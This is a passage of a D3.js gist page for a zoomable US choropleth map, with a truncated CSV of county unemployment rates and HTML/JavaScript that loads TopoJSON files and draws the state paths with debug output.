forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/cf7bedda70b95103bd71b87f159ad269&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/0afcb4f2547112af6d8b6eceeed4118d">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
  &lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/lodash.js/4.16.1/lodash.min.js&quot;&gt;&lt;/script&gt;
  
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.11&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;forEach &apos;+i)
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;About to forEach&quot;)
    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        //f.properties = data.find(function (d) { return d.id === f.id })
      	f.properties = _.find(data, function(d){ return d.id === f.id})
    })
		d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;forEach completed&quot;)
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })
	d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; About to draw map paths&quot;)
    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
